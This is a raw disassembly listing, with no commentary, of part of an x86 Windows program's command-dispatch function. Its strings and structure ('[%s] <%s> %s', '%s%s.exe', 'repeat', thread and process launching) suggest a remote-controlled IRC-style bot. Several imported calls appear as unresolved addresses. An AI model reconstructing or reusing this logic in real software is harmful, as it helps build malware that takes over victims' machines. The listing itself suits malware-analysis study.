		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E56C[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E360[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E578
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"


loc_407A35:				; CODE XREF: sub_401ACD+5E8Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_407A62:				; CODE XREF: sub_401ACD+4ED1j
					; sub_401ACD+4EE8j
		push	[ebp+arg_10]
		call	dword_4CB664
		push	edi
		mov	[ebp+var_680], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41B5F0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CB6B0
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AAA8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset dword_40C668
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_407B44


loc_407B2E:				; CODE XREF: sub_401ACD+6075j
		cmp	[ebp+var_670], ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2820566h
		jmp	short loc_407B2E
; ---------------------------------------------------------------------------


loc_407B44:				; CODE XREF: sub_401ACD+605Fj
		call	near ptr 2830047h
		nop
		push	eax
		push	offset unk_42AB9C
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_407B55:				; CODE XREF: sub_401ACD+4EA3j
					; sub_401ACD+4EBAj
		push	[ebp+arg_10]
		call	sub_41B779
		mov	[ebp+var_112C],	eax
		push	7Fh
		lea	eax, [ebp+var_1230]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1130],	eax
		lea	eax, [ebp+var_11B0]
		push	[ebp+var_88]
		mov	[ebp+var_1238],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_111C],	eax
		push	[ebp+var_1130]
		lea	eax, [ebp+var_1230]
		mov	[ebp+var_1120],	edi
		push	eax
		push	[ebp+var_112C]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AA6C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_1128],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1238]
		push	ebx
		push	eax
		push	offset loc_4103AA
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, [ebp+var_1128]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_407C41


loc_407C2B:				; CODE XREF: sub_401ACD+6172j
		cmp	[ebp+var_1118],	ebx
		jnz	loc_403DA0
		push	32h
		call	near ptr 2820566h
		nop
		jmp	short loc_407C2B
; ---------------------------------------------------------------------------


loc_407C41:				; CODE XREF: sub_401ACD+615Cj
		nop
		call	near ptr 2830047h
		push	eax
		push	offset unk_42AA28
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_407C52:				; CODE XREF: sub_401ACD+4E75j
					; sub_401ACD+4E8Cj
		push	0FFh
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	0FFh
		lea	eax, [ebp+var_2778]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		mov	[ebp+var_2674],	ebx
		call	sub_41B779
		mov	[ebp+var_2670],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407CAB
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_2668],	eax
		jmp	short loc_407CB1
; ---------------------------------------------------------------------------


loc_407CAB:				; CODE XREF: sub_401ACD+61C8j
		mov	[ebp+var_2668],	ebx


loc_407CB1:				; CODE XREF: sub_401ACD+61DCj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407CC8
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_266C],	eax
		jmp	short loc_407CCE
; ---------------------------------------------------------------------------


loc_407CC8:				; CODE XREF: sub_401ACD+61EAj
		mov	[ebp+var_266C],	ebx


loc_407CCE:				; CODE XREF: sub_401ACD+61F9j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_28F8]
		mov	[ebp+var_28FC],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_265C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2660],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A9FC
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2678],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28FC]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		call	near ptr 282060Ah
		nop
		mov	ecx, [ebp+var_2678]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_407D7F


loc_407D69:				; CODE XREF: sub_401ACD+62B0j
		cmp	[ebp+var_2658],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2820566h
		jmp	short loc_407D69
; ---------------------------------------------------------------------------


loc_407D7F:				; CODE XREF: sub_401ACD+629Aj
		nop
		call	near ptr 2830047h
		push	eax
		push	offset unk_42A9BC
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_407D90:				; CODE XREF: sub_401ACD+4E47j
					; sub_401ACD+4E5Ej
		push	7Fh
		lea	eax, [ebp+var_3490]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3410]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3390]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3310]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_328C],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3288],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3494],	esi
		push	[ebp+arg_10]
		push	offset unk_42A980
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3290],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3494]
		push	ebx
		push	eax
		push	offset byte_414A91
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, [ebp+var_3290]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_407E67


loc_407E51:				; CODE XREF: sub_401ACD+6398j
		cmp	[ebp+var_3284],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2820566h
		jmp	short loc_407E51
; ---------------------------------------------------------------------------


loc_407E67:				; CODE XREF: sub_401ACD+6382j
		nop
		call	near ptr 2830047h
		push	eax
		push	offset unk_42A948
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_407E78:				; CODE XREF: sub_401ACD+4D1Aj
					; sub_401ACD+4D31j
		push	7Fh
		lea	eax, [ebp+var_3068]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2FE8]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2F68]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2EE8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_306C],	esi
		push	[ebp+arg_10]
		push	offset unk_42A918
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_2E68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_306C]
		push	ebx
		push	eax
		push	offset dword_4137CC
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, [ebp+var_2E68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_407F4F


loc_407F39:				; CODE XREF: sub_401ACD+6480j
		cmp	[ebp+var_2E5C],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2820566h
		jmp	short loc_407F39
; ---------------------------------------------------------------------------


loc_407F4F:				; CODE XREF: sub_401ACD+646Aj
		nop
		call	near ptr 2830047h
		push	eax
		push	offset unk_42A8E0
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_407F60:				; CODE XREF: sub_401ACD+4BF1j
					; sub_401ACD+4C08j ...
		push	7Fh
		lea	eax, [ebp+var_3CE4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3C64]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3BE4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3B64]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		push	20h
		lea	eax, [ebp+var_3AE4]
		push	[ebp+arg_8]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3CEC],	esi
		push	[ebp+arg_10]
		push	offset unk_42A8B0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CE8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CEC]
		push	ebx
		push	eax
		push	offset byte_412A53
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, [ebp+var_3CE8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_408048


loc_408032:				; CODE XREF: sub_401ACD+6579j
		cmp	[ebp+var_3A5C],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2820566h
		jmp	short loc_408032
; ---------------------------------------------------------------------------


loc_408048:				; CODE XREF: sub_401ACD+6563j
		call	near ptr 2830047h
		nop
		push	eax
		push	offset unk_42A878
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_408059:				; CODE XREF: sub_401ACD+4BC3j
					; sub_401ACD+4BDAj
		push	7Fh
		lea	eax, [ebp+var_1778]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	3Fh
		mov	[ebp+var_1628],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16F8]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4080A4
		push	3Fh
		lea	eax, [ebp+var_16B8]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4080A4:				; CODE XREF: sub_401ACD+65C3j
		lea	eax, [ebp+var_16F8]
		mov	[ebp+var_1624],	1
		push	eax
		lea	eax, [ebp+var_1778]
		push	[ebp+var_1628]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A848
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1620],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_177C]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, [ebp+var_1620]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_408130


loc_40811A:				; CODE XREF: sub_401ACD+6661j
		cmp	[ebp+var_161C],	ebx
		jnz	loc_406CDE
		push	32h
		nop
		call	near ptr 2820566h
		jmp	short loc_40811A
; ---------------------------------------------------------------------------


loc_408130:				; CODE XREF: sub_401ACD+664Bj
		nop
		call	near ptr 2830047h
		push	eax
		push	offset dword_42A80C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_408141:				; CODE XREF: sub_401ACD+4B83j
					; sub_401ACD+4B9Aj
		push	edi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		jle	loc_408234
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1EEC]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF0],	eax
		lea	eax, [ebp+var_1DEC]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1D58],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A7E0
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1D6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	ebx
		push	eax
		push	offset byte_412E9D
		push	ebx
		push	ebx
		call	near ptr 282060Ah
		nop
		mov	ecx, [ebp+var_1D6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_408223


loc_408211:				; CODE XREF: sub_401ACD+6754j
		cmp	[ebp+var_1D54],	ebx
		jnz	short loc_40828B
		push	32h
		nop
		call	near ptr 2820566h
		jmp	short loc_408211
; ---------------------------------------------------------------------------


loc_408223:				; CODE XREF: sub_401ACD+6742j
		call	near ptr 2830047h
		nop
		push	eax
		push	offset unk_42A7A8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_408234:				; CODE XREF: sub_401ACD+6683j
		push	offset unk_42A770
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_40823E:				; CODE XREF: sub_401ACD+4B55j
					; sub_401ACD+4B6Cj
		push	edi
		push	[ebp+arg_10]
		nop
		call	near ptr 2840C51h
		test	eax, eax
		jz	short loc_40826B
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset unk_42A74C
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40828B
; ---------------------------------------------------------------------------


loc_40826B:				; CODE XREF: sub_401ACD+677Dj
		push	offset dword_42A740
		call	sub_41814C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980


loc_408288:				; CODE XREF: sub_401ACD+2F2Aj
					; sub_401ACD+556Fj
		add	esp, 0Ch


loc_40828B:				; CODE XREF: sub_401ACD+2136j
					; sub_401ACD+2ECCj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4082A8:				; CODE XREF: sub_401ACD+57C6j
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------


loc_4082B5:				; CODE XREF: sub_401ACD+4B27j
					; sub_401ACD+4B3Ej
		push	[ebp+arg_10]
		lea	eax, [ebp+var_3F04]
		push	104h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4082EF
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4082EF
		push	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4082EF:				; CODE XREF: sub_401ACD+6802j
					; sub_401ACD+6811j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F84]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F88],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CF8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF4],	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		lea	eax, [ebp+var_3F04]
		push	eax
		push	offset unk_42A710
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F88]
		push	ebx
		push	eax
		push	offset byte_416CAD
		push	ebx
		push	ebx
		call	near ptr 282060Ah
		nop
		mov	ecx, [ebp+var_3CFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_4083A1


loc_40838F:				; CODE XREF: sub_401ACD+68D2j
		cmp	[ebp+var_3CF0],	ebx
		jnz	short loc_4083BC
		push	32h
		call	near ptr 2820566h
		nop
		jmp	short loc_40838F
; ---------------------------------------------------------------------------


loc_4083A1:				; CODE XREF: sub_401ACD+68C0j
		nop
		call	near ptr 2830047h
		push	eax
		push	offset unk_42A6D4


loc_4083AD:				; CODE XREF: sub_401ACD+925j
					; sub_401ACD+A63j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_4083BC:				; CODE XREF: sub_401ACD+7E1j
					; sub_401ACD+94Cj ...
		push	1
		pop	esi
		jmp	loc_406D02
; ---------------------------------------------------------------------------


loc_4083C4:				; CODE XREF: sub_401ACD+4AF9j
					; sub_401ACD+4B10j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	[ebp+arg_10]
		mov	[ebp+var_63C], esi
		call	sub_41B779
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408403
		mov	[ebp+var_638], 5


loc_408403:				; CODE XREF: sub_401ACD+692Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406CDE
		lea	eax, [ebp+var_E10]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 2800890h
		test	eax, eax
		jnz	short loc_40844C
		push	offset unk_42A6B0
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40844C:				; CODE XREF: sub_401ACD+6973j
		push	edi
		push	offset dword_42A694
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_408457:				; CODE XREF: sub_401ACD+4ACBj
					; sub_401ACD+4AE2j
		push	edi
		push	offset aDark	; "Dark"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D0
		lea	eax, [ebp+var_48F0]
		push	eax
		push	104h
		nop
		call	near ptr 284016Dh
		push	0FFh
		lea	eax, [ebp+var_25D0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_17D0]
		push	eax
		call	sub_40AD80
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_24D0]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23CC],	1
		mov	[ebp+var_23C8],	ebx
		jz	short loc_4084EC
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_23C0],	eax
		jmp	short loc_4084F2
; ---------------------------------------------------------------------------


loc_4084EC:				; CODE XREF: sub_401ACD+6A09j
		mov	[ebp+var_23C0],	ebx


loc_4084F2:				; CODE XREF: sub_401ACD+6A1Dj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_408509
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_23C4],	eax
		jmp	short loc_40850F
; ---------------------------------------------------------------------------


loc_408509:				; CODE XREF: sub_401ACD+6A2Bj
		mov	[ebp+var_23C4],	ebx


loc_40850F:				; CODE XREF: sub_401ACD+6A3Aj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2650]
		mov	[ebp+var_2654],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_23B8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A65C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_23D0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2654]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, [ebp+var_23D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_4085BF


loc_4085A9:				; CODE XREF: sub_401ACD+6AF0j
		cmp	[ebp+var_23B0],	ebx
		jnz	loc_406CDE
		push	32h
		call	near ptr 2820566h
		nop
		jmp	short loc_4085A9
; ---------------------------------------------------------------------------


loc_4085BF:				; CODE XREF: sub_401ACD+6ADAj
		nop
		call	near ptr 2830047h
		push	eax
		push	offset dword_42A620
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4085D0:				; CODE XREF: sub_401ACD+6999j
		push	offset dword_42A5D8


loc_4085D5:				; CODE XREF: sub_401ACD+2E73j
					; sub_401ACD+457Cj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_406CDE
; ---------------------------------------------------------------------------


loc_4085E8:				; CODE XREF: sub_401ACD+4A9Dj
					; sub_401ACD+4AB4j
		push	[ebp+var_8C]
		push	offset dword_42CFF4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A5C8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 28h
		test	eax, eax
		jle	short loc_408673
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 2820566h


loc_408673:				; CODE XREF: sub_401ACD+6B8Ej
		push	offset dword_42A5B4
		call	sub_4151AC
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408687:				; CODE XREF: sub_401ACD+4A6Fj
					; sub_401ACD+4A86j
		push	[ebp+var_8C]
		push	offset dword_42CFF4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408745
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A5C8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A59C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408745:				; CODE XREF: sub_401ACD+6BFAj
		push	offset unk_42A568


loc_40874A:				; CODE XREF: sub_401ACD+7542j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408759:				; CODE XREF: sub_401ACD+74CAj
					; sub_401ACD+7623j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40877A
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_40877A:				; CODE XREF: sub_401ACD+6C8Fj
					; sub_401ACD+72C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_409853
; ---------------------------------------------------------------------------


loc_40878B:				; CODE XREF: sub_401ACD+4A41j
					; sub_401ACD+4A58j
		push	7Fh
		lea	eax, [ebp+var_2214]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2194]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2114]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2090],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_208C],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_2218],	esi
		push	offset unk_42A534
		push	eax
